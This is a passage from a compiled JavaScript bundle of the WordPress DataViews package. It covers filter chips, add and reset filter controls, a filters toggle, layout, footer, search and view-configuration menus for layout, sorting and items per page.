35225 }, [fields, filter.field]);
35226 const { elements: elements2 } = useElements({
35227 elements: filter.elements,
35228 getElements: filter.getElements
35229 });
35230 if (elements2.length > 0) {
35231 activeElements = elements2.filter((element) => {
35232 if (filter.singleSelection) {
35233 return element.value === filterInView?.value;
35234 }
35235 return filterInView?.value?.includes(element.value);
35236 });
35237 } else if (Array.isArray(filterInView?.value)) {
35238 const label = filterInView.value.map((v2) => {
35239 const formattedValue = field?.getValueFormatted({
35240 item: { [field.id]: v2 },
35241 field
35242 });
35243 return formattedValue || String(v2);
35244 });
35245 activeElements = [
35246 {
35247 value: filterInView.value,
35248 // @ts-ignore
35249 label
35250 }
35251 ];
35252 } else if (typeof filterInView?.value === "object") {
35253 activeElements = [
35254 { value: filterInView.value, label: filterInView.value }
35255 ];
35256 } else if (filterInView?.value !== void 0) {
35257 const label = field !== void 0 ? field.getValueFormatted({
35258 item: { [field.id]: filterInView.value },
35259 field
35260 }) : String(filterInView.value);
35261 activeElements = [
35262 {
35263 value: filterInView.value,
35264 label
35265 }
35266 ];
35267 }
35268 const isPrimary = filter.isPrimary;
35269 const isLocked = filterInView?.isLocked;
35270 const hasValues = !isLocked && filterInView?.value !== void 0;
35271 const canResetOrRemove = !isLocked && (!isPrimary || hasValues);
35272 return /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
35273 import_components111.Dropdown,
35274 {
35275 defaultOpen: openedFilter === filter.field,
35276 contentClassName: "dataviews-filters__summary-popover",
35277 popoverProps: { placement: "bottom-start", role: "dialog" },
35278 onClose: () => {
35279 toggleRef.current?.focus();
35280 },
35281 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0, import_jsx_runtime217.jsxs)("div", { className: "dataviews-filters__summary-chip-container", children: [
35282 /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
35283 import_components111.Tooltip,
35284 {
35285 text: (0, import_i18n106.sprintf)(
35286 /* translators: 1: Filter name. */
35287 (0, import_i18n106.__)("Filter by: %1$s"),
35288 filter.name.toLowerCase()
35289 ),
35290 placement: "top",
35291 children: /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
35292 "div",
35293 {
35294 className: clsx_default(
35295 "dataviews-filters__summary-chip",
35296 {
35297 "has-reset": canResetOrRemove,
35298 "has-values": hasValues,
35299 "is-not-clickable": isLocked
35300 }
35301 ),
35302 role: "button",
35303 tabIndex: isLocked ? -1 : 0,
35304 onClick: () => {
35305 if (!isLocked) {
35306 onToggle();
35307 }
35308 },
35309 onKeyDown: (event) => {
35310 if (!isLocked && [ENTER4, SPACE3].includes(event.key)) {
35311 onToggle();
35312 event.preventDefault();
35313 }
35314 },
35315 "aria-disabled": isLocked,
35316 "aria-pressed": isOpen,
35317 "aria-expanded": isOpen,
35318 ref: toggleRef,
35319 children: /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
35320 FilterText,
35321 {
35322 activeElements,
35323 filterInView,
35324 filter
35325 }
35326 )
35327 }
35328 )
35329 }
35330 ),
35331 canResetOrRemove && /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
35332 import_components111.Tooltip,
35333 {
35334 text: isPrimary ? (0, import_i18n106.__)("Reset") : (0, import_i18n106.__)("Remove"),
35335 placement: "top",
35336 children: /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
35337 "button",
35338 {
35339 className: clsx_default(
35340 "dataviews-filters__summary-chip-remove",
35341 { "has-values": hasValues }
35342 ),
35343 onClick: () => {
35344 onChangeView({
35345 ...view,
35346 page: 1,
35347 filters: view.filters?.filter(
35348 (_filter) => _filter.field !== filter.field
35349 )
35350 });
35351 if (!isPrimary) {
35352 addFilterRef.current?.focus();
35353 } else {
35354 toggleRef.current?.focus();
35355 }
35356 },
35357 children: /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(import_components111.Icon, { icon: close_small_default })
35358 }
35359 )
35360 }
35361 )
35362 ] }),
35363 renderContent: () => {
35364 return /* @__PURE__ */ (0, import_jsx_runtime217.jsxs)(Stack, { direction: "column", justify: "flex-start", children: [
35365 /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(OperatorSelector, { ...commonProps }),
35366 commonProps.filter.hasElements ? /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
35367 SearchWidget,
35368 {
35369 ...commonProps,
35370 filter: {
35371 ...commonProps.filter,
35372 elements: elements2
35373 }
35374 }
35375 ) : /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(InputWidget, { ...commonProps, fields })
35376 ] });
35377 }
35378 }
35379 );
35380 }
35381
35382 // packages/dataviews/build-module/components/dataviews-filters/add-filter.mjs
35383 var import_components112 = __toESM(require_components(), 1);
35384 var import_i18n107 = __toESM(require_i18n(), 1);
35385 var import_element94 = __toESM(require_element(), 1);
35386 var import_jsx_runtime218 = __toESM(require_jsx_runtime(), 1);
35387 var { Menu: Menu8 } = unlock3(import_components112.privateApis);
35388 function AddFilterMenu({
35389 filters,
35390 view,
35391 onChangeView,
35392 setOpenedFilter,
35393 triggerProps
35394 }) {
35395 const inactiveFilters = filters.filter((filter) => !filter.isVisible);
35396 return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(Menu8, { children: [
35397 /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(Menu8.TriggerButton, { ...triggerProps }),
35398 /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(Menu8.Popover, { children: inactiveFilters.map((filter) => {
35399 return /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
35400 Menu8.Item,
35401 {
35402 onClick: () => {
35403 setOpenedFilter(filter.field);
35404 onChangeView({
35405 ...view,
35406 page: 1,
35407 filters: [
35408 ...view.filters || [],
35409 {
35410 field: filter.field,
35411 value: void 0,
35412 operator: filter.operators[0]
35413 }
35414 ]
35415 });
35416 },
35417 children: /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(Menu8.ItemLabel, { children: filter.name })
35418 },
35419 filter.field
35420 );
35421 }) })
35422 ] });
35423 }
35424 function AddFilter({ filters, view, onChangeView, setOpenedFilter }, ref) {
35425 if (!filters.length || filters.every(({ isPrimary }) => isPrimary)) {
35426 return null;
35427 }
35428 const inactiveFilters = filters.filter((filter) => !filter.isVisible);
35429 return /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
35430 AddFilterMenu,
35431 {
35432 triggerProps: {
35433 render: /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
35434 import_components112.Button,
35435 {
35436 accessibleWhenDisabled: true,
35437 size: "compact",
35438 className: "dataviews-filters-button",
35439 variant: "tertiary",
35440 disabled: !inactiveFilters.length,
35441 ref
35442 }
35443 ),
35444 children: (0, import_i18n107.__)("Add filter")
35445 },
35446 ...{ filters, view, onChangeView, setOpenedFilter }
35447 }
35448 );
35449 }
35450 var add_filter_default = (0, import_element94.forwardRef)(AddFilter);
35451
35452 // packages/dataviews/build-module/components/dataviews-filters/reset-filters.mjs
35453 var import_components113 = __toESM(require_components(), 1);
35454 var import_i18n108 = __toESM(require_i18n(), 1);
35455 var import_jsx_runtime219 = __toESM(require_jsx_runtime(), 1);
35456 function ResetFilter({
35457 filters,
35458 view,
35459 onChangeView
35460 }) {
35461 const isPrimary = (field) => filters.some(
35462 (_filter) => _filter.field === field && _filter.isPrimary
35463 );
35464 const isDisabled = !view.search && !view.filters?.some(
35465 (_filter) => !_filter.isLocked && (_filter.value !== void 0 || !isPrimary(_filter.field))
35466 );
35467 return /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(
35468 import_components113.Button,
35469 {
35470 disabled: isDisabled,
35471 accessibleWhenDisabled: true,
35472 size: "compact",
35473 variant: "tertiary",
35474 className: "dataviews-filters__reset-button",
35475 onClick: () => {
35476 onChangeView({
35477 ...view,
35478 page: 1,
35479 search: "",
35480 filters: view.filters?.filter((f2) => !!f2.isLocked) || []
35481 });
35482 },
35483 children: (0, import_i18n108.__)("Reset")
35484 }
35485 );
35486 }
35487
35488 // packages/dataviews/build-module/components/dataviews-filters/use-filters.mjs
35489 var import_element95 = __toESM(require_element(), 1);
35490 function useFilters(fields, view) {
35491 return (0, import_element95.useMemo)(() => {
35492 const filters = [];
35493 fields.forEach((field) => {
35494 if (field.filterBy === false || !field.hasElements && !field.Edit) {
35495 return;
35496 }
35497 const operators = field.filterBy.operators;
35498 const isPrimary = !!field.filterBy?.isPrimary;
35499 const isLocked = view.filters?.some(
35500 (f2) => f2.field === field.id && !!f2.isLocked
35501 ) ?? false;
35502 filters.push({
35503 field: field.id,
35504 name: field.label,
35505 elements: field.elements,
35506 getElements: field.getElements,
35507 hasElements: field.hasElements,
35508 singleSelection: operators.some(
35509 (op) => isSingleSelectionOperator(op)
35510 ),
35511 operators,
35512 isVisible: isLocked || isPrimary || !!view.filters?.some(
35513 (f2) => f2.field === field.id && isRegisteredOperator(f2.operator)
35514 ),
35515 isPrimary,
35516 isLocked
35517 });
35518 });
35519 filters.sort((a2, b2) => {
35520 if (a2.isLocked && !b2.isLocked) {
35521 return -1;
35522 }
35523 if (!a2.isLocked && b2.isLocked) {
35524 return 1;
35525 }
35526 if (a2.isPrimary && !b2.isPrimary) {
35527 return -1;
35528 }
35529 if (!a2.isPrimary && b2.isPrimary) {
35530 return 1;
35531 }
35532 return a2.name.localeCompare(b2.name);
35533 });
35534 return filters;
35535 }, [fields, view]);
35536 }
35537 var use_filters_default = useFilters;
35538
35539 // packages/dataviews/build-module/components/dataviews-filters/filters.mjs
35540 var import_jsx_runtime220 = __toESM(require_jsx_runtime(), 1);
35541 function Filters({ className }) {
35542 const { fields, view, onChangeView, openedFilter, setOpenedFilter } = (0, import_element96.useContext)(dataviews_context_default);
35543 const addFilterRef = (0, import_element96.useRef)(null);
35544 const filters = use_filters_default(fields, view);
35545 const addFilter = /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
35546 add_filter_default,
35547 {
35548 filters,
35549 view,
35550 onChangeView,
35551 ref: addFilterRef,
35552 setOpenedFilter
35553 },
35554 "add-filter"
35555 );
35556 const visibleFilters = filters.filter((filter) => filter.isVisible);
35557 if (visibleFilters.length === 0) {
35558 return null;
35559 }
35560 const filterComponents = [
35561 ...visibleFilters.map((filter) => {
35562 return /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
35563 Filter,
35564 {
35565 filter,
35566 view,
35567 fields,
35568 onChangeView,
35569 addFilterRef,
35570 openedFilter
35571 },
35572 filter.field
35573 );
35574 }),
35575 addFilter
35576 ];
35577 filterComponents.push(
35578 /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
35579 ResetFilter,
35580 {
35581 filters,
35582 view,
35583 onChangeView
35584 },
35585 "reset-filters"
35586 )
35587 );
35588 return /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
35589 Stack,
35590 {
35591 direction: "row",
35592 justify: "flex-start",
35593 gap: "sm",
35594 style: { width: "fit-content" },
35595 wrap: "wrap",
35596 className,
35597 children: filterComponents
35598 }
35599 );
35600 }
35601 var filters_default = (0, import_element96.memo)(Filters);
35602
35603 // packages/dataviews/build-module/components/dataviews-filters/toggle.mjs
35604 var import_element97 = __toESM(require_element(), 1);
35605 var import_components114 = __toESM(require_components(), 1);
35606 var import_i18n109 = __toESM(require_i18n(), 1);
35607 var import_jsx_runtime221 = __toESM(require_jsx_runtime(), 1);
35608 function FiltersToggle() {
35609 const {
35610 filters,
35611 view,
35612 onChangeView,
35613 setOpenedFilter,
35614 isShowingFilter,
35615 setIsShowingFilter
35616 } = (0, import_element97.useContext)(dataviews_context_default);
35617 const buttonRef = (0, import_element97.useRef)(null);
35618 const onChangeViewWithFilterVisibility = (0, import_element97.useCallback)(
35619 (_view) => {
35620 onChangeView(_view);
35621 setIsShowingFilter(true);
35622 },
35623 [onChangeView, setIsShowingFilter]
35624 );
35625 if (filters.length === 0) {
35626 return null;
35627 }
35628 const hasVisibleFilters = filters.some((filter) => filter.isVisible);
35629 const addFilterButtonProps = {
35630 label: (0, import_i18n109.__)("Add filter"),
35631 "aria-expanded": false,
35632 isPressed: false
35633 };
35634 const toggleFiltersButtonProps = {
35635 label: (0, import_i18n109._x)("Filter", "verb"),
35636 "aria-expanded": isShowingFilter,
35637 isPressed: isShowingFilter,
35638 onClick: () => {
35639 if (!isShowingFilter) {
35640 setOpenedFilter(null);
35641 }
35642 setIsShowingFilter(!isShowingFilter);
35643 }
35644 };
35645 const hasPrimaryOrLockedFilters = filters.some(
35646 (filter) => filter.isPrimary || filter.isLocked
35647 );
35648 const buttonComponent = /* @__PURE__ */ (0, import_jsx_runtime221.jsx)(
35649 import_components114.Button,
35650 {
35651 ref: buttonRef,
35652 className: "dataviews-filters__visibility-toggle",
35653 size: "compact",
35654 icon: funnel_default,
35655 disabled: hasPrimaryOrLockedFilters,
35656 accessibleWhenDisabled: true,
35657 ...hasVisibleFilters ? toggleFiltersButtonProps : addFilterButtonProps
35658 }
35659 );
35660 return /* @__PURE__ */ (0, import_jsx_runtime221.jsx)("div", { className: "dataviews-filters__container-visibility-toggle", children: !hasVisibleFilters ? /* @__PURE__ */ (0, import_jsx_runtime221.jsx)(
35661 AddFilterMenu,
35662 {
35663 filters,
35664 view,
35665 onChangeView: onChangeViewWithFilterVisibility,
35666 setOpenedFilter,
35667 triggerProps: { render: buttonComponent }
35668 }
35669 ) : /* @__PURE__ */ (0, import_jsx_runtime221.jsx)(
35670 FilterVisibilityToggle,
35671 {
35672 buttonRef,
35673 filtersCount: view.filters?.length,
35674 children: buttonComponent
35675 }
35676 ) });
35677 }
35678 function FilterVisibilityToggle({
35679 buttonRef,
35680 filtersCount,
35681 children
35682 }) {
35683 (0, import_element97.useEffect)(
35684 () => () => {
35685 buttonRef.current?.focus();
35686 },
35687 [buttonRef]
35688 );
35689 return /* @__PURE__ */ (0, import_jsx_runtime221.jsxs)(import_jsx_runtime221.Fragment, { children: [
35690 children,
35691 !!filtersCount && /* @__PURE__ */ (0, import_jsx_runtime221.jsx)("span", { className: "dataviews-filters-toggle__count", children: filtersCount })
35692 ] });
35693 }
35694 var toggle_default = FiltersToggle;
35695
35696 // packages/dataviews/build-module/components/dataviews-filters/filters-toggled.mjs
35697 var import_element98 = __toESM(require_element(), 1);
35698 var import_jsx_runtime222 = __toESM(require_jsx_runtime(), 1);
35699 function FiltersToggled(props) {
35700 const { isShowingFilter } = (0, import_element98.useContext)(dataviews_context_default);
35701 if (!isShowingFilter) {
35702 return null;
35703 }
35704 return /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(filters_default, { ...props });
35705 }
35706 var filters_toggled_default = FiltersToggled;
35707
35708 // packages/dataviews/build-module/components/dataviews-layout/index.mjs
35709 var import_element99 = __toESM(require_element(), 1);
35710 var import_components115 = __toESM(require_components(), 1);
35711 var import_i18n110 = __toESM(require_i18n(), 1);
35712 var import_jsx_runtime223 = __toESM(require_jsx_runtime(), 1);
35713 function DataViewsLayout({ className }) {
35714 const {
35715 actions = [],
35716 data,
35717 fields,
35718 getItemId: getItemId2,
35719 getItemLevel: getItemLevel2,
35720 hasInitiallyLoaded,
35721 isLoading,
35722 view,
35723 onChangeView,
35724 selection,
35725 onChangeSelection,
35726 setOpenedFilter,
35727 onClickItem,
35728 isItemClickable,
35729 renderItemLink,
35730 defaultLayouts: defaultLayouts4,
35731 empty = /* @__PURE__ */ (0, import_jsx_runtime223.jsx)("p", { children: (0, import_i18n110.__)("No results") })
35732 } = (0, import_element99.useContext)(dataviews_context_default);
35733 const isDelayedInitialLoading = useDelayedLoading(!hasInitiallyLoaded, {
35734 delay: 200
35735 });
35736 if (!hasInitiallyLoaded) {
35737 if (!isDelayedInitialLoading) {
35738 return null;
35739 }
35740 return /* @__PURE__ */ (0, import_jsx_runtime223.jsx)("div", { className: "dataviews-loading", children: /* @__PURE__ */ (0, import_jsx_runtime223.jsx)("p", { children: /* @__PURE__ */ (0, import_jsx_runtime223.jsx)(import_components115.Spinner, {}) }) });
35741 }
35742 const ViewComponent = VIEW_LAYOUTS.find(
35743 (v2) => v2.type === view.type && defaultLayouts4[v2.type]
35744 )?.component;
35745 return /* @__PURE__ */ (0, import_jsx_runtime223.jsx)(
35746 ViewComponent,
35747 {
35748 className,
35749 actions,
35750 data,
35751 fields,
35752 getItemId: getItemId2,
35753 getItemLevel: getItemLevel2,
35754 isLoading,
35755 onChangeView,
35756 onChangeSelection,
35757 selection,
35758 setOpenedFilter,
35759 onClickItem,
35760 renderItemLink,
35761 isItemClickable,
35762 view,
35763 empty
35764 }
35765 );
35766 }
35767
35768 // packages/dataviews/build-module/components/dataviews-footer/index.mjs
35769 var import_element100 = __toESM(require_element(), 1);
35770 var import_jsx_runtime224 = __toESM(require_jsx_runtime(), 1);
35771 var EMPTY_ARRAY8 = [];
35772 function DataViewsFooter() {
35773 const {
35774 view,
35775 paginationInfo: { totalItems = 0, totalPages },
35776 data,
35777 actions = EMPTY_ARRAY8,
35778 isLoading,
35779 hasInitiallyLoaded,
35780 hasInfiniteScrollHandler
35781 } = (0, import_element100.useContext)(dataviews_context_default);
35782 const isRefreshing = !!isLoading && hasInitiallyLoaded && !hasInfiniteScrollHandler && !!data?.length;
35783 const isDelayedRefreshing = useDelayedLoading(!!isRefreshing);
35784 const hasBulkActions = useSomeItemHasAPossibleBulkAction(actions, data) && [LAYOUT_TABLE2, LAYOUT_GRID2].includes(view.type);
35785 if (!isRefreshing && (!totalItems || !totalPages || totalPages <= 1 && !hasBulkActions)) {
35786 return null;
35787 }
35788 return (!!totalItems || isRefreshing) && /* @__PURE__ */ (0, import_jsx_runtime224.jsx)(
35789 "div",
35790 {
35791 className: "dataviews-footer",
35792 inert: isRefreshing ? "true" : void 0,
35793 children: /* @__PURE__ */ (0, import_jsx_runtime224.jsxs)(
35794 Stack,
35795 {
35796 direction: "row",
35797 justify: "end",
35798 align: "center",
35799 className: clsx_default("dataviews-footer__content", {
35800 "is-refreshing": isDelayedRefreshing
35801 }),
35802 gap: "sm",
35803 children: [
35804 hasBulkActions && /* @__PURE__ */ (0, import_jsx_runtime224.jsx)(BulkActionsFooter, {}),
35805 /* @__PURE__ */ (0, import_jsx_runtime224.jsx)(dataviews_pagination_default, {})
35806 ]
35807 }
35808 )
35809 }
35810 );
35811 }
35812
35813 // packages/dataviews/build-module/components/dataviews-search/index.mjs
35814 var import_i18n111 = __toESM(require_i18n(), 1);
35815 var import_element101 = __toESM(require_element(), 1);
35816 var import_components116 = __toESM(require_components(), 1);
35817 var import_compose21 = __toESM(require_compose(), 1);
35818 var import_jsx_runtime225 = __toESM(require_jsx_runtime(), 1);
35819 var DataViewsSearch = (0, import_element101.memo)(function Search({ label }) {
35820 const { view, onChangeView } = (0, import_element101.useContext)(dataviews_context_default);
35821 const [search, setSearch, debouncedSearch] = (0, import_compose21.useDebouncedInput)(
35822 view.search
35823 );
35824 (0, import_element101.useEffect)(() => {
35825 setSearch(view.search ?? "");
35826 }, [view.search, setSearch]);
35827 const onChangeViewRef = (0, import_element101.useRef)(onChangeView);
35828 const viewRef = (0, import_element101.useRef)(view);
35829 (0, import_element101.useEffect)(() => {
35830 onChangeViewRef.current = onChangeView;
35831 viewRef.current = view;
35832 }, [onChangeView, view]);
35833 (0, import_element101.useEffect)(() => {
35834 if (debouncedSearch !== viewRef.current?.search) {
35835 onChangeViewRef.current({
35836 ...viewRef.current,
35837 page: 1,
35838 search: debouncedSearch
35839 });
35840 }
35841 }, [debouncedSearch]);
35842 const searchLabel = label || (0, import_i18n111.__)("Search");
35843 return /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(
35844 import_components116.SearchControl,
35845 {
35846 className: "dataviews-search",
35847 onChange: setSearch,
35848 value: search,
35849 label: searchLabel,
35850 placeholder: searchLabel,
35851 size: "compact"
35852 }
35853 );
35854 });
35855 var dataviews_search_default = DataViewsSearch;
35856
35857 // packages/dataviews/build-module/components/dataviews-view-config/index.mjs
35858 var import_components118 = __toESM(require_components(), 1);
35859 var import_i18n113 = __toESM(require_i18n(), 1);
35860 var import_element103 = __toESM(require_element(), 1);
35861 var import_warning = __toESM(require_warning(), 1);
35862 var import_compose22 = __toESM(require_compose(), 1);
35863
35864 // packages/dataviews/build-module/components/dataviews-view-config/infinite-scroll-toggle.mjs
35865 var import_components117 = __toESM(require_components(), 1);
35866 var import_i18n112 = __toESM(require_i18n(), 1);
35867 var import_element102 = __toESM(require_element(), 1);
35868 var import_jsx_runtime226 = __toESM(require_jsx_runtime(), 1);
35869 function InfiniteScrollToggle() {
35870 const context = (0, import_element102.useContext)(dataviews_context_default);
35871 const { view, onChangeView } = context;
35872 const infiniteScrollEnabled = view.infiniteScrollEnabled ?? false;
35873 if (!context.hasInfiniteScrollHandler) {
35874 return null;
35875 }
35876 return /* @__PURE__ */ (0, import_jsx_runtime226.jsx)(
35877 import_components117.ToggleControl,
35878 {
35879 label: (0, import_i18n112.__)("Enable infinite scroll"),
35880 help: (0, import_i18n112.__)(
35881 "Automatically load more content as you scroll, instead of showing pagination links."
35882 ),
35883 checked: infiniteScrollEnabled,
35884 onChange: (newValue) => {
35885 onChangeView({
35886 ...view,
35887 infiniteScrollEnabled: newValue
35888 });
35889 }
35890 }
35891 );
35892 }
35893
35894 // packages/dataviews/build-module/components/dataviews-view-config/index.mjs
35895 var import_jsx_runtime227 = __toESM(require_jsx_runtime(), 1);
35896 var { Menu: Menu9 } = unlock3(import_components118.privateApis);
35897 var DATAVIEWS_CONFIG_POPOVER_PROPS = {
35898 className: "dataviews-config__popover",
35899 placement: "bottom-end",
35900 offset: 9
35901 };
35902 function ViewTypeMenu() {
35903 const { view, onChangeView, defaultLayouts: defaultLayouts4 } = (0, import_element103.useContext)(dataviews_context_default);
35904 const availableLayouts = Object.keys(defaultLayouts4);
35905 if (availableLayouts.length <= 1) {
35906 return null;
35907 }
35908 const activeView = VIEW_LAYOUTS.find((v2) => view.type === v2.type);
35909 return /* @__PURE__ */ (0, import_jsx_runtime227.jsxs)(Menu9, { children: [
35910 /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
35911 Menu9.TriggerButton,
35912 {
35913 render: /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
35914 import_components118.Button,
35915 {
35916 size: "compact",
35917 icon: activeView?.icon,
35918 label: (0, import_i18n113.__)("Layout")
35919 }
35920 )
35921 }
35922 ),
35923 /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(Menu9.Popover, { children: availableLayouts.map((layout) => {
35924 const config2 = VIEW_LAYOUTS.find(
35925 (v2) => v2.type === layout
35926 );
35927 if (!config2) {
35928 return null;
35929 }
35930 return /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
35931 Menu9.RadioItem,
35932 {
35933 value: layout,
35934 name: "view-actions-available-view",
35935 checked: layout === view.type,
35936 hideOnClick: true,
35937 onChange: (e2) => {
35938 switch (e2.target.value) {
35939 case "list":
35940 case "grid":
35941 case "table":
35942 case "pickerGrid":
35943 case "pickerTable":
35944 case "activity":
35945 const viewWithoutLayout = { ...view };
35946 if ("layout" in viewWithoutLayout) {
35947 delete viewWithoutLayout.layout;
35948 }
35949 return onChangeView({
35950 ...viewWithoutLayout,
35951 type: e2.target.value,
35952 ...defaultLayouts4[e2.target.value]
35953 });
35954 }
35955 (0, import_warning.default)("Invalid dataview");
35956 },
35957 children: /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(Menu9.ItemLabel, { children: config2.label })
35958 },
35959 layout
35960 );
35961 }) })
35962 ] });
35963 }
35964 function SortFieldControl() {
35965 const { view, fields, onChangeView } = (0, import_element103.useContext)(dataviews_context_default);
35966 const orderOptions = (0, import_element103.useMemo)(() => {
35967 const sortableFields = fields.filter(
35968 (field) => field.enableSorting !== false
35969 );
35970 return sortableFields.map((field) => {
35971 return {
35972 label: field.label,
35973 value: field.id
35974 };
35975 });
35976 }, [fields]);
35977 return /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
35978 import_components118.SelectControl,
35979 {
35980 __next40pxDefaultSize: true,
35981 label: (0, import_i18n113.__)("Sort by"),
35982 value: view.sort?.field,
35983 options: orderOptions,
35984 onChange: (value) => {
35985 onChangeView({
35986 ...view,
35987 sort: {
35988 direction: view?.sort?.direction || "desc",
35989 field: value
35990 },
35991 showLevels: false
35992 });
35993 }
35994 }
35995 );
35996 }
35997 function SortDirectionControl() {
35998 const { view, fields, onChangeView } = (0, import_element103.useContext)(dataviews_context_default);
35999 const sortableFields = fields.filter(
36000 (field) => field.enableSorting !== false
36001 );
36002 if (sortableFields.length === 0) {
36003 return null;
36004 }
36005 let value = view.sort?.direction;
36006 if (!value && view.sort?.field) {
36007 value = "desc";
36008 }
36009 return /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
36010 import_components118.__experimentalToggleGroupControl,
36011 {
36012 className: "dataviews-view-config__sort-direction",
36013 __next40pxDefaultSize: true,
36014 isBlock: true,
36015 label: (0, import_i18n113.__)("Order"),
36016 value,
36017 onChange: (newDirection) => {
36018 if (newDirection === "asc" || newDirection === "desc") {
36019 onChangeView({
36020 ...view,
36021 sort: {
36022 direction: newDirection,
36023 field: view.sort?.field || // If there is no field assigned as the sorting field assign the first sortable field.
36024 fields.find(
36025 (field) => field.enableSorting !== false
36026 )?.id || ""
36027 },
36028 showLevels: false
36029 });
36030 return;
36031 }
36032 (0, import_warning.default)("Invalid direction");
36033 },
36034 children: SORTING_DIRECTIONS.map((direction) => {
36035 return /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
36036 import_components118.__experimentalToggleGroupControlOptionIcon,
36037 {
36038 value: direction,
36039 icon: sortIcons[direction],
36040 label: sortLabels[direction]
36041 },
36042 direction
36043 );
36044 })
36045 }
36046 );
36047 }
36048 function ItemsPerPageControl() {
36049 const { view, config: config2, onChangeView } = (0, import_element103.useContext)(dataviews_context_default);
36050 const { infiniteScrollEnabled } = view;
36051 if (!config2 || !config2.perPageSizes || config2.perPageSizes.length < 2 || config2.perPageSizes.length > 6 || infiniteScrollEnabled) {
36052 return null;
36053 }
36054 return /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
36055 import_components118.__experimentalToggleGroupControl,
36056 {
36057 __next40pxDefaultSize: true,
36058 isBlock: true,
36059 label: (0, import_i18n113.__)("Items per page"),
36060 value: view.perPage || 10,
36061 disabled: !view?.sort?.field,
36062 onChange: (newItemsPerPage) => {
36063 const newItemsPerPageNumber = typeof newItemsPerPage === "number" || newItemsPerPage === void 0 ? newItemsPerPage : parseInt(newItemsPerPage, 10);
36064 onChangeView({
36065 ...view,
36066 perPage: newItemsPerPageNumber,
36067 page: 1
36068 });
36069 },
36070 children: config2.perPageSizes.map((value) => {
36071 return /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
36072 import_components118.__experimentalToggleGroupControlOption,
36073 {
36074 value,
36075 label: value.toString()
36076 },
36077 value
36078 );
36079 })
36080 }
36081 );
36082 }
36083 function ResetViewButton() {
36084 const { onReset } = (0, import_element103.useContext)(dataviews_context_default);
36085 if (onReset === void 0) {
36086 return null;
36087 }
36088 const isDisabled = onReset === false;
36089 return /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
36090 import_components118.Button,
36091 {
36092 variant: "tertiary",
36093 size: "compact",
36094 disabled: isDisabled,
36095 accessibleWhenDisabled: true,
36096 className: "dataviews-view-config__reset-button",
36097 onClick: () => {
36098 if (typeof onReset === "function") {
36099 onReset();
36100 }
36101 },
36102 children: (0, import_i18n113.__)("Reset view")
36103 }
36104 );
36105 }
36106 function DataviewsViewConfigDropdown() {
36107 const { view, onReset } = (0, import_element103.useContext)(dataviews_context_default);
36108 const popoverId = (0, import_compose22.useInstanceId)(
36109 _DataViewsViewConfig,
36110 "dataviews-view-config-dropdown"
36111 );
36112 const activeLayout = VIEW_LAYOUTS.find(
36113 (layout) => layout.type === view.type
36114 );
36115 const isModified = typeof onReset === "function";
36116 return /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
36117 import_components118.Dropdown,
36118 {
36119 expandOnMobile: true,
36120 popoverProps: {
36121 ...DATAVIEWS_CONFIG_POPOVER_PROPS,
36122 id: popoverId
36123 },
36124 renderToggle: ({ onToggle, isOpen }) => {
36125 return /* @__PURE__ */ (0, import_jsx_runtime227.jsxs)("div", { className: "dataviews-view-config__toggle-wrapper", children: [
36126 /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
36127 import_components118.Button,
36128 {
36129 size: "compact",
36130 icon: cog_default,
36131 label: (0, import_i18n113._x)(
36132 "View options",
36133 "View is used as a noun"
36134 ),
36135 onClick: onToggle,
36136 "aria-expanded": isOpen ? "true" : "false",
36137 "aria-controls": popoverId
36138 }
36139 ),
36140 isModified && /* @__PURE__ */ (0, import_jsx_runtime227.jsx)("span", { className: "dataviews-view-config__modified-indicator" })
36141 ] });
36142 },
36143 renderContent: () => /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
36144 import_components118.__experimentalDropdownContentWrapper,
36145 {
36146 paddingSize: "medium",
36147 className: "dataviews-config__popover-content-wrapper",
36148 children: /* @__PURE__ */ (0, import_jsx_runtime227.jsxs)(
36149 Stack,
36150 {
36151 direction: "column",
36152 className: "dataviews-view-config",
36153 gap: "xl",
36154 children: [
36155 /* @__PURE__ */ (0, import_jsx_runtime227.jsxs)(
36156 Stack,
36157 {
36158 direction: "row",
36159 justify: "space-between",
36160 align: "center",
36161 className: "dataviews-view-config__header",
36162 children: [
36163 /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
36164 import_components118.__experimentalHeading,
36165 {
36166 level: 2,
36167 className: "dataviews-settings-section__title",
36168 children: (0, import_i18n113.__)("Appearance")
36169 }
36170 ),
36171 /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(ResetViewButton, {})
36172 ]
36173 }
36174 ),
